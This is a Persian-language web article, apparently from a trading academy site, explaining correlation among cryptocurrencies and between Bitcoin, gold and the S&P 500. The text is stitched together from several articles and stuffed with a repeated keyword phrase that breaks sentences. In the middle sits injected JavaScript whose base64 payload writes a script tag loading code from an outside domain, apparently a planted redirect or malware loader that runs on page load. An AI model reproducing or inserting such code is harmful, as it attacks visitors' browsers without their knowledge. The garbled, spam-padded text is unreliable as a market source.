فارکس با باینری

هم بستگی ارز های دیجیتال

همبستگی بین بیت کوین و آلت کوین ها بین دسامبر ۲۰۱۸ و مارس ۲۰۱۹٫

هم بستگی ارزهای دیجیتال با یکدیگر،هم بستگی بیت کوین با اتریوم،هم بستگی بیت کوین با طلا

بیتکوین

هم بستگی ارزهای دیجیتال ، امروزه ارزهای دیجیتال به پدیده ای جهانی تبدیل شدند و یکی از داغ ترین موضوعات پیرامون سرمایه گذاران و بازارهای مالی است . افزایش شدید ارزش بعضی از ارزهای رمزنگاری موجب بررسی عمیق تر این بازار شده است . یکی از موضوعات مورد بررسی هم بستگی یا همان Correlation است . هم بستگی در بازار های مالی به معنای اندازه گیری آماری رابطه 2 سرمایه گوناگون است ، برای نمونه بررسی همبستگی ارزدیجیتال بیت کوین و طلا یکی از هم بستگی ارز های دیجیتال هم بستگی ارز های دیجیتال مواردی است که در سال گذشته بسیار پیرامون آن صحبت شد . در جهان ارزهای دیجیتال آمار ها نشان داده اند که حتی رمزارز های گوناگون هم می توانند با هم ، همبستگی داشته باشند . دانستن این موضوع به تحلیل گران کمک می کند که رفتار بازار را پیش بینی کنند و تصمیم گیری را برای آن ها ساده تر کند .

همبستگی چیست ؟

یکی از اساسی ترین تجزیه و تحلیل های آماری است که ارتباط میان 2 متغیر را اندازه گیری می کند . برای مثال اگر 2 متغیر X و Y داشته باشیم ، حالت های پایین امکان دارد اتفاق بیافتد :

  1. همبستگی مثبت : اگر در یک زمان هر 2 متغیر X و Y افزایش یابند و این افزایش با سرعتی مشابه باشد ، آن را هم بستگی مثبت می نامیم .
  2. همبستگی منفی : اگر در یک زمان یکی از متغیر ها افزایش باشد و دیگری کاهش یابد ، آن را همبستگی منفی می نامیم .
  3. بدون همبستگی : هنگامی است که وقتی یکی از متغیرها افزایش یا کاهش می یابد ، دیگری تمایلی به افزایش یا کاهش ندارد .

شکل زیر به درک بهتر این موضوع کمک می کند :

منظور همبستگی

هم بستگی اصولا با نماد R نمایش داده می شود و میان -1 و +1 قرار دارد . در این مطلب ما از ضریب همبستگی پیرسون استفاده خواهیم کرد .

هم بستگی در دنیای ارزهای دیجیتال

در دنیای ارزهای دیجیتال هم ، امکان دارد میان ارزهای گوناگون ، همبستگی وجود داشته باشد ، البته نمی توان این موضوع را منکر شد که رهبر و فرمانروای اصلی این بازار ، بیت کوین است و بیشتر رفتار بیت کوین است که بازار را کنترل می کند . دانستن اطلاعات در رابطه با هم بستگی ارزهای دیجیتال به معامله گران کمک می کند که ارزهای مناسبی را برای سبد سرمایه گذاری خود انتخاب کنند . برای درک بهتر این موضوع ، 5 رمزارز گوناگون که قدیمی تر هستند را مد نظر گرفتیم . آن ها همبستگی شدید و مثبتی را نشان می دهند . این موضوع برای کسی که سال های گذشته بازار را دنبال کرده است ، خبر خاصی نیست . اما نکته چشمگیر اینجا است که همیشه به این صورت نبوده است :

ارز دیجیتال

همان طور که در تصویر بالا واضح است ، همبستگی میان این 5 ارز ، در دسته هم بستگی های مثبت شدید قرار دارد. این بدان معنا است که افزایش قیمت بیت کوین موجب افزایش قیمت اتریوم ، ریپل ، لایت کوین و مونرو شده است . این همبستگی فقط محدود به بیت کوین نبوده است و تک تک ارزهای بررسی شده در جدول بالا هم باهم هم بستگی دارند .

هم بستگی بیت کوین و اتریوم

بررسی ضریب همبستگی میان بیت کوین و اتریوم از سال 2016 ، نمودار زیر را نشان می دهد .

بیت کوین

در آغاز ، میان این اتریوم و بیت کوین ، تقریبا هم بستگی ای وجود نداشت . در این میان مواقعی وجود داشت که حتی به نظر می رسید این 2 کوین ، بدون ارتباط با هم حرکت می کنند . اما این روند به وضوح نشان می دهد که رابطه بین بیت کوین و اتریوم در حال رشد است و هم بستگی آن ها در حال رسیدن به اوج خود است .

همبستگی بیت کوین و طلا

تا کنون هم بستگی بسیاری میان حرکت طلا و بیت کوین مشاهده نشده است . در بعضی برهه ها ، هم بستگی کمی مشاهده شده است اما به طور کلی نمی توان ادعا کرد که این 2 سرمایه ، هم بستگی زیادی با هم دارند .

هم بستگی بیت کوین و S & P 500

500

بی توجه به سقوط اخیر ناشی از کرونا ، بدیهی است که حرکت بیت کوین ارتباط چندانی با بازار سهام آمریکا ندارد . حتی اگر بیت کوین و S & P 500 در مارس 2020 ، هم بستگی از خود نشان دادند اما این نسبت هنوز هم ضعیف است .

خطرات هم بستگی زیاد

یکی از مشکلات بزرگی که در جهان ارزهای دیجیتال ، وجود دارد این است که رمزارزهای برتر اصولا با یکدیگر حرکت می کنند و رهبر اصلی آن ها بیت کوین است . لری چرماک تحلیلگر بازار معتقد است که وابستگی بیش از حد سرمایه ها در متنوع سازی موثر پورتفولیو سرمایه گذار ، موانعی را ایجاد کرده است . پس تا بلوغ کامل این بازار و توکنیزه شدن اوراق بهادار هم بستگی ارز های دیجیتال ، تا حدی می تواند این مشکل را کاهش دهد .

اثبات هم بستگی در ارزهای دیجیتال کمی دشوار است

بازاز ارزهای دیجیتال یک بازار به شدت ناپایدار است و هنوز به بلوغ کامل نرسیده است . هیچ کس قادر نیست که ادعا کند یک رابطه کامل میان 2 ارز دیجیتال وجود دارد زیرا که امکان دارد در روزهای گوناگون فرق داشته باشد . ممکن است این همبستگی بسیاری که میان بیت کوین و دیگر ارزهای دیجیتال دیده می شود صرفا به این دلیل باشد که بیت کوین به عنوان پادشاه و فرمانروا عمل کرده و و هنگامی که به سمت بالا حرکت می کند ، دیگر آلت کوین ها را نیز تحت تاثیر قرار می دهد . همبستگی ابزاری مهم در دنیای ارزهای دیجیتال است اما نمی توان کاملا به آن اعتماد کرد زیرا که هر لحظه ممکن است تغییر کند .

کجا می توانم هم بستگی بین رمزارزهای مختلف را بررسی کنم ؟

یکی از سایت هایی که به طور اختصاصی به کاربران این امکان را می دهد که همبستگی هم بستگی ارز های دیجیتال میان ارزهای دیجیتال مختلف را بررسی کنند ، سایت معتبر Cryptpwatch است . البته برای ورود به این سایت اول از همه باید فیلتر شکن خود را روشن کنید . پس از اینکه وارد سایت شدید . با تصویر زیر روبه رو می شوید .

با کلیک روی قسمت Correlation صفحه جدیدی برای شما باز می شود .

Cryptowatch

در این صفحه همبستگی میان ارزهای گوناگون نشان داده است . شما می توانید ارز مورد نظر خود را به این لیست اضافه کنید ، حتی این امکان به شما داده می شود که تایم فریم دلخواه خود را انتخاب کنید .

آیا بین قیمت بیت کوین و آلت کوین‌ها، همبستگی وجود دارد؟

آیا بین قیمت بیت کوین و آلت کوین‌ها، همبستگی وجود دارد؟

بر اساس گزارش های منتشر شده، قیمت بیت کوین در تاریخ ۱۳ فوریه سال ۲۰۲۰ به بالاترین سطح خود در سال جاری رسید و از سطح ۱۰۴۹۷ دلار عبور کرد. قیمت این ارز از ابتدای هم بستگی ارز های دیجیتال سال میلادی تا کنون ۴۲ درصد افزایش یافته است. این افزایش قیمت باعث شد تا تحلیلگران بازار ارزهای دیجیتال بگویند که یک روند صعودی جدید در مراحل اولیه خود است و برخی هم تخمین می زنند که قیمت آن تا تابستان به سطح ۲۷۰۰۰ دلار خواهد رسید. سایر تحلیلگران معتقدند تا قبل از شروع سال ۲۰۲۱ قیمت آن به سطح ۱۰۰۰۰۰ دلار افزایش خواهد یافت.

در کنار افزایش قیمت بیت کوین، قیمت آلت کوین ها نیز با افزایش همراه بود. طی یک هفته گذشته، ارز نم و تزوس افزایش قیمت چشمگیری داشتند و این ایده مطرح شد که ممکن است در دوره های روند صعودی قیمت، بین بیت کوین و آلت کوین ها همبستگی وجود داشته باشد.

در ادامه، بیایید بررسی کنیم که آیا این همبستگی هم در شرایط بازار صعودی و هم بازار نزولی وجود دارد یا خیر.

همبستگی آلت کوین ها با دوره های روند صعودی قیمت بیت کوین

بیت کوین از اول آوریل تا ژوئن ۲۰۱۹ یک روند صعودی قوی را پشت سر گذاشت و بیش از ۲۰۰ درصد رشد کرد و در ۲۶ ژوئن به سطح ۱۳۸۰۰ دلار رسید. با ترسیم نمودار همبستگی های بین بیت کوین و ۳۰ آلت کوین برتر حال حاضر بازار، می توان فهمید که ۵۸ درصد از ارزهای دیجیتال همبستگی بالایی (بیش از ۶۰ درصد) با بیت کوین در این دوره ها از خود نشان می دهند.

همبستگی صفر به این معنی است که ارزها به هیچ وجه با یکدیگر همبستگی ندارند، در حالی که همبستگی ۱۰۰ درصد بدان معنی است که ارزها همبستگی کامل و مثبت دارند. علاوه بر این، همبستگی -۱۰۰ درصد بدان معنی است که ارزها همبستگی معکوس با یکدیگر دارند.

برجسته ترین ارزهایی که همبستگی بین ۷۴ تا ۸۲ درصد با بیت کوین داشتند عبارتند از: اتریوم، دش، بیت کوین کش، مونرو و EOS. از طرفی، HedgeTrade (HEDG) با ۱۳٫۳ درصد و یو اس دی کوین (USDC) با ۴٫۳- درصد کمترین همبستگی را در بین همه ارزها دارند. ارزهایی مانند چین لینک، کازموس، کریپتو دات کام چین و هیوبی توکن نیز در این مدت همبستگی کمی بین ۲۰ تا ۳۰ درصد با بیت کوین داشتند.

همبستگی بین بیت کوین و آلت کوین ها از آوریل تا ژوئن ۲۰۱۹٫

همبستگی در زمان روند صعودی آلت کوین ها

در دوره های صعودی آلت کوین ها، مانند دوره مشاهده شده بین دسامبر ۲۰۱۸ تا مارس ۲۰۱۹، همبستگی بین بیت کوین و سایر ارزهای برتر بازار بسیار قوی است. فقط یو اس دی کوین در دوره روند صعودی قیمت، همبستگی منفی (۷٫۸%-) با بیت کوین دارد.

با این حال، ۷۷ درصد از ارزهای برتر بازار، بیش از ۶۰ درصد با بیت کوین همبستگی دارند و مونرو با ۹۲٫۳ درصد بیشترین همبستگی را دارد. علاوه بر این، همبستگی دش، EOS، اتریوم، ریپل و زی کش با بیت کوین بیشتر از ۸۷ درصد است.

همبستگی بیت کوین اس وی، چین لینک، هیوبی توکن و تزوس با بیت کوین در طول این دوره بین ۵۰ تا ۶۰ درصد است. کریپتو دات کام با ۲۵ درصد و تتر با ۱۹٫۱ درصد کمترین همبستگی را با بیت کوین در این دوره نشان می دهد.

همبستگی بین بیت کوین و آلت کوین ها بین دسامبر ۲۰۱۸ و مارس ۲۰۱۹٫

سال ۲۰۲۰ با نوسانات قیمت شروع شد، چه چیزی در پیش رو قرار دارد؟

بیت کوین نشان داد که یک سناریوی صعودی می تواند در طول سال ۲۰۲۰ بر بازار حاکم باشد و از ابتدای سال جاری تاکنون بیش از ۳۵ درصد افزایش قیمت داشته است. در این مدت، مانند گذشته، همبستگی های بالایی در آلت کوین های بزرگ بازار مانند بیت کوین کش، اتریوم، لایت کوین، نئو، ترون و ریپل مشاهده می شود.

از طرفی، یو اس دی کوین و کازموس از آخرین دوره روند صعودی تا آغاز سال ۲۰۲۰، همبستگی کمتری از خود نشان دادند.

با این حال، چین لینک، Crypto.com HedgeTrade، هیوبی توکن و دش از آخرین دوره روند صعودی، همبستگی معکوسی با بیت کوین نشان می دهند. به همین دلیل نمی توان نتیجه گیری کرد که رفتاری پایدار بین این ارزها و بیت کوین وجود دارد.

همبستگی بین بیت کوین و آلت کوین ها از اول ژانویه تا ۴ فوریه ۲۰۲۰

استیبل کوین ها در سناریوهای صعودی بیت کوین و آلت کوین ها کمترین همبستگی را با بیت کوین از خود نشان می دهند. در حالی که ارزهای بزرگتر بازار مانند اتریوم، لایت کوین، بیت کوین کش، نئو، مونرو و ریپل همیشه همبستگی بالایی با حرکت بیت کوین دارند. با این وجود، آلت کوین های مورد مطالعه در این مقاله، همبستگی بیشتری با بیت کوین در دوره روند صعودی آلت کوین ها در مقایسه با زمانی که قیمت بیت کوین صعودی است، دارند.

البته، انتظار می رود که اگر یک دوره جدید صعودی برای بیت کوین آغاز شود، سرمایه گذاران این آلت کوین ها را برای انباشتن مورد نظر قرار دهند، زیرا آنها پتانسیل افزایش قیمت بیشتر را دارند. علاوه بر این، سرمایه گذارانی که فقط بیت کوین خریداری می کنند، ممکن است یک رویکرد محافظه کارانه تر اتخاذ کرده و با خریداری استیبل کوین ها یا ارزهایی که همبستگی کمتری در طول این دوره ها دارند، از سرمایه گذاری پر ریسک محافظت کنند.

function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)

آشنایی با همبستگی در بازار

همبستگی در بازار

سلام. با قسمتی دیگر از مجموعه مقالات کاربردی آکادمی ترید دکتر رضا رضایی در خدمت شما عزیزان و همراهان همیشگی این مجموعه هستیم. در این قسمت از سری مقالات آموزشی سایت قصد داریم به بررسی همبستگی در بازار که عموما بین شاخص‌ها و ارز‌های مختلف در بازار وجود دارد صحبت کنیم و بررسی کنیم که آگاهی به این موضوع چگونه می‌تواند برای معامله‌گران مفید بوده و راندمان یا بازدهی کار آن‌ها را افزایش دهد. با ما همراه باشید.

همبستگی در بازارهای مالی چیست و چه اهمیتی دارد؟

به طور کلی به عنوان یک معامله‌گر که در حال یادگیری و آموزش تحلیل تکنیکال فارکس و مباحث فاندامنتالی بازار هستید باید بدانید که عموما در تمامی بازارهای مالی مانند جفت ارزها، شاخص‌ها، ارزهای دیجیتال و …. مفهومی به نام همبستگی در بازار یا Correlation وجود دارد که باعث می‌شود صعود یا نزول یک شاخص یا ارز، روی صعود یا نزول یک شاخص یا ارز دیگر تاثیر گذار باشد.

به طور کلی نسبت همبستگی یا Correlation در بازارهای مالی معمولا با یک عدد بین منفی یک تا مثبت یک و یا به صورت درصدی نمایش داده می‌شود. برای درک بهتر این موضوع به مثال‌های زیر توجه نمایید:

  • مثلا فرض کنید که میزان همبستگی دو ارز دیجیتال را محاسبه کرده‌اند و می‌گویند میزان همبستگی آن‌ها 0.8 می‌باشد. همانطور که می‌بینید این مقدار یک عدد مثبت است، بنابراین هنگامی که ارز دیجیتال اول در یک روند صعودی قرار بگیرد، احتمال بالایی وجود دارد که ارز دوم نیز در روند صعودی قرار بگیرد، چرا که میزان همبستگی این دو ارز بر اساس آمار ارائه شده مثبت، و مقدار نسبتا زیادی را نشان می‌دهد. مثلا اگر نمودار قیمتی بیتکوین و اتریوم را مورد بررسی قرار دهید متوجه می‌شوید که معمولا زمانی که نمودار بیت کوین مثبت است، نمودار اتریوم نیز روندی صعودی دارد و این موضوع نشان دهنده این است که این دو با یکدیگر همبستگی مثبت دارند.
    نکته: هنگامی که همبستگی دو ارز مثبت یک یا صد در صد باشد یعنی نمودار قیمتی ارز دوم دقیقا عملکردی مانند نمودار ارز اول دارد.
  • فرض کنید میزان همبستگی دو ارز عددی نزدیک به هم بستگی ارز های دیجیتال صفر می‌باشد. این موضوع بدان معنی است که روندهای حرکتی ارز اول ارتباط زیادی به روند حرکتی ارز دوم ندارد و هر کدام از این دو ارز می‌توانند متفاوت از دیگری رفتار کنند.
  • با توجه به دو نکته بالا طبیعتا اگر همبستگی دو ارز یا شاخص عددی منفی باشد یعنی نمودار قیمتی این دو ارز یا شاخص دارای عملکردی معکوس دیگری می‌باشند. حال هر چه این میزان Correlation به عدد منفی یک نزدیک‌تر باشد، عملکرد معکوس این دو نمودار نیز با احتمال بالا‌تری رخ خواهد داد.

آشنایی با همبستگی در بازار

نحوه محاسبه همبستگی در بازار

به طور کلی نحوه دستیابی به میزان همبستگی نمودارها در بازارهای مالی روش‌های مختلفی دارد که ساده‌ترین آن‌ها جست و جو در گوگل و پیدا کردن سایت‌هایی است که نمودار همبستگی بسیاری از ارزها و شاخص‌های بازار را به صورت رایگان در اختیار شما قرار می‌دهند. اما اگر به هر دلیل نتوانستید همبستگی نمودار‌های قیمتی مورد نظر خود را پیدا کنید می‌توانید برای محاسبه این موضوع از نرم‌افزار اکسل و فرمول CORREL استفاده کنید. برای این کار کافیست قیمت دو نمودار مورد نظر خود را در یک بازه زمانی مشخص در دو ردیف از سلول‌های اکسل وارد کرده و به کمک تابع CORREL میزان همبستگی آن‌ها را محاسبه کنید.

اهمیت آگاهی به همبستگی نمودارهای قیمتی

حال که با مفهوم همبستگی ارزها آشنا شدید شاید برایتان سوال شده باشد که اهمیت آگاهی داشتن نسبت به این پارامتر چیست و این موضوع چه کمکی به معامله‌گران و تریدرهایی که در حال برداشت قدم‌های ابتدای یادگیری و آموزش تحلیل تکنیکال فارکس هستند می‌کند؟

به طور کلی آگاهی داشتن نسبت به همبستگی در بازار به شما کمک می‌کند تا در قدم اول درک بهتری نسبت به تغییرات قیمت در نمودارهای مختلف داشته باشید و در قدم بعدی به شما کمک می‌کند تا انتخاب هوشمندانه‌تری برای انتخاب چارت‌های مختلف و معامله روی آن‌ها داشته باشید. به عنوان مثلا هنگامی که شما روی دو نمودار با ضریب همبستگی بسیار بالا (چه مثبت و چه منفی) معامله می‌کنید در حقیقت چون این دو نمودار رفتاری مشابه هم دارند تقریبا نقاط ورود و خروج شما نیز همزمان خواهد بود و این موضوع می‌تواند بازدهی عملیات معامله‌گری شما را کاهش دهد. از طرفی چون این دو نمودار با یکدیگر همبستگی بالایی دارند شما می‌توانید با تحلیل و بررسی هر یک از این دو نمودار درک بهتری نسبت به عملکرد نمودار دیگر نیز پیدا کنید.

مطالب مرتبط با این قسمت از سری مقالات آموزشی آکادمی ترید دکتر رضا رضایی نیز در همین نقطه به پایان می‌رسد. در قسمت بعدی مقالات به بررسی یکی دیگر از مفاهیم کاربردی هم بستگی ارز های دیجیتال و مفید در بازارهای مالی خواهیم پرداخت.

به خاطر داشته باشید که ریسک انجام معامله توسط تمامی مطالب آموزشی این وب‌سایت تماما به عهده کاربران یا معامله‌گران می‌باشد.

مقالات مرتبط

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

برو به دکمه بالا